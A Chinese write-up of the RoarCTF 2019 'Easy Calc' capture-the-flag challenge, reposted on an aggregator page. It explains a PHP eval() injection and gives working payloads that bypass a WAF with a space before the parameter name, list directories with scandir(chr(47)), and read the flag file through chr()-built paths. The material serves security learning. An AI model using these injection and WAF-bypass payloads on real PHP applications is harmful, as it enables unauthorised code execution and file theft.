当前位置: 首页 > news >正文

Easy Calc——[RoarCTF 2019].19848103

这道题功能上表面是一个计算器类,通过输入的计算数字后端进行计算,再返回给前端,而后端很可能直接调用类似 <font style="color:rgb(6, 10, 38);">eval()</font><font style="color:rgb(6, 10, 38);">Function()</font><font style="color:rgb(6, 10, 38);">new Function()</font> 或语言内置的表达式解析器(如 Python 的 <font style="color:rgb(6, 10, 38);">eval()</font>、Node.js 的 <font style="color:rgb(6, 10, 38);">vm.runInNewContext()</font> 等来执行,那我们就可以考虑一手代码执行,本题是php大概率是<font style="color:rgb(6, 10, 38);">eval()</font>

但是在测试之后,发现直接对网页表单处交互始终绕不开前端的alert弹窗限制,

在查看源码的时候发现他这里做了一层限制,他获取了表单的数据内容之后,通过ajax请求将用户输入的内容进行url编码作为num参数值,去发起get请求。而他提示有waf,如果响应返回状态码不正常的话,如403,就会直接alert弹窗

<body><div class="container text-center" style="margin-top:30px;"><h2>表达式</h2><form id="calc"><div class="form-group"><input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes"></div><div id="result"><div class="alert alert-success"></div></div><button type="submit" class="btn btn-primary">计算</button></form>
</div>
<!--I've set up WAF to ensure security.-->  // 提示有一层waf
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),//将用户输入的内容进行编码传参numtype:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}    // 状态码200,正常显示</div>`);},error:function(){   //  状态码不对403,返回alert弹窗alert("这啥?算不来!");}})return false;})
</script></body>

而这里的get请求,直接访问了calc.php文件,说明文件可能是直接在当前目录下的,直接访问calc.php文件可以发现他的calc.php的代码逻辑

注释如下:

<?php// 关闭所有错误报告,防止报错信息泄露服务器路径或版本等敏感信息error_reporting(0);// 检查 URL 参数中是否存在 'num' 参数 (例如:calc.php?num=1+1)
if(!isset($_GET['num'])){// 如果没有传参,直接显示当前文件的源代码 show_source(__FILE__);
}else{// 获取用户通过 GET 请求传入的 'num' 参数值,赋值给变量 $str$str = $_GET['num'];// 定义黑名单数组,列出了所有禁止出现的字符// 包含:空格、制表符、回车、换行、单引号、双引号、反引号、方括号、美元符号、反斜杠、异或符$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '[', ']','$','\\','^'];// 遍历黑名单中的每一个字符foreach ($blacklist as $blackitem) {// 使用正则表达式检查用户输入 ($str) 中是否包含当前的黑名单字符// 如果匹配成功 (即发现了禁用的字符)if (preg_match('/' . $blackitem . '/m', $str)) {// 立即终止脚本执行,并输出提示信息,阻止后续代码运行die("what are you want to do?");}}// 【核心逻辑】代码执行点// 将用户输入的 $str 直接拼接到 'echo ' 和 ';' 之间,形成一段 PHP 代码// 然后使用 eval() 函数执行这段拼接后的代码// 例如:如果输入 1+1,则执行 eval('echo 1+1;'); 输出 2// 风险:由于前面只是简单的字符过滤,如果构造出绕过黑名单的恶意代码,这里就会执行任意 PHP 指令eval('echo '.$str.';');
}
?>

那就是说,我们可以自行直接去http://node5.buuoj.cn:26604/calc.php?num=xxx 通过num参数去尝试构造payload,按理来说是这样,但是实际上是不行的。

结合下面的测试,这里猜测是被防火墙拦截了

这里我们可以通过空格的方式绕过waf,因为只要过了waf这层检测,后续传递到后端之后url编码会被解码成num继续执行原代码,绕过逻辑参考:

payload测试ing

http://node5.buuoj.cn:29927/calc.php?%20num=phpinfo()

无法用 system("ls")、exec("whoami") 等执行系统命令
无法用 file_get_contents("http://...") 读取远程文件(如果 allow_url_fopen 也关了)
无法用 fopen() 写文件或读敏感文件(除非有其他方式)

我们这里想要寻找flag文件,就需要获取flag信息,如果我们采用这个payload

ps:glob()函数用于查找匹配指定模式的文件或目录,通常不受 open_basedir 限制(除非明确配置),且很少被禁用。

%09print_r(glob('*'));  //获取当前目录下的所有文件
%09print_r(glob('/*')); //获取根目录下的所有文件

但是发现会触发calc.php的黑名单,就换一种,

由于这里我们选择尝试使用var_dump()/print_r()函数去打印显示信息

scandir()函数去读取信息,用char()去构建文件名或者参数信息如flag,如.,如/目录等

尝试ing

/calc.php?%20num=print_r(scandir(chr(47)))    //打印根目录下面的文件信息
  1. .dockerenv 表示是docker环境
  2. start.sh 表示是启动脚本
  3. f1agg 大概率是flag文件

接下来是读取flag的文件,用 chr() 拼接文件名,然后用 <font style="color:rgb(6, 10, 38);">readfile()</font><font style="color:rgb(6, 10, 38);">highlight_file()</font> 读取它,拼接/f1agg 如下

<font style="color:rgb(0, 0, 0);">chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)</font>

payload如下:

1.采用<font style="color:rgb(0, 0, 0);">file_get_contents()</font>

/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

2.采用readfile()

/calc.php? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

3.采用highlight_file()

/calc.php? num=highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
http://www.jsqmd.com/news/619267/

相关文章:

  • OpenClaw隐私保护方案:Qwen3-14b_int4_awq本地化处理敏感文档
  • 告别“屎山”代码:SOLID原则在.NET开发中的实战指南
  • 当矩阵乘法遇上硬件:用Verilog搭建一个简易的8层MLP计算核心
  • Wan2.2-I2V-A14B嵌入式应用展望:在边缘设备上的轻量化部署可行性分析
  • IT 培训机构选哪个好?行业专家深度解析选择策略 - 资讯焦点
  • INS推算阶段
  • Zed IDE官宣新招:Git Graph 正式支持!
  • 数据密集型计算与处理:构建高性能数据处理系统
  • MovementDetector:嵌入式超声波运动状态感知库解析
  • 2026石家庄600分左右高中学校:3所适配中等生民办校盘点 - 资讯焦点
  • 拆穿名词诈骗!用大白话理解晦涩难懂的AI概念妨
  • [x-cmd] TypeScript 6.0 正式发布!不仅让代码更清爽,还为 7.0 扫清了障碍
  • DDT4All终极指南:免费开源汽车诊断工具从入门到精通
  • 收藏必备!小白程序员手把手教你落地大模型全流程,从算力到业务应用一条龙解析
  • Face3D.ai Pro在智能门锁中的3D人脸识别方案
  • 基于 YOLOv8 实现快递盒实例分割(含代码)
  • 数据可视化平台建设与实践:构建直观的数据分析系统
  • **Grok 4.2写小说软件:2025年创作指南与推荐**在数字化浪潮席卷全球的今天,写作工具也迎来了前所未有的发展机遇。Grok 4.2写小说软件作为其中的佼佼者,凭借其强大的功能和卓越的用户
  • 靠谱的 IT 培训机构有哪些?行业头部品牌深度盘点 - 资讯焦点
  • Agent Client Protocol 全景解析叹
  • Zotero-SciPDF终极教程:5步实现学术文献PDF自动下载的完整方案
  • 终极指南:3分钟精通Excel到Markdown表格转换神器
  • 为什么精益生产要进行排班管理?科学排兵布阵,解锁生产效率潜能
  • Keil5 MDK-ARM V6编译器下,勾选MicroLIB后报错__initial_sp的两种快速修复法
  • 终极免费浏览器3D模型查看器:5分钟让你成为3D模型查看专家
  • 品牌口碑 | 微小流量流量计哪个品牌好?ACCU精量的用户评价与应用案例 - 品牌推荐大师1
  • 告别‘玄学’听诊:我是如何用Python和CNN-LSTM模型给心音‘打分’的(准确率92%)
  • Cursor Pro无限畅用:开源工具如何智能绕过AI编辑器限制
  • Overleaf用户必看:IEEE会议论文提交Latex源文件的3个避坑指南(含EPS转换技巧)
  • LM Studio 终端实时输出日志在哪里查看 LM Studio查看实时日志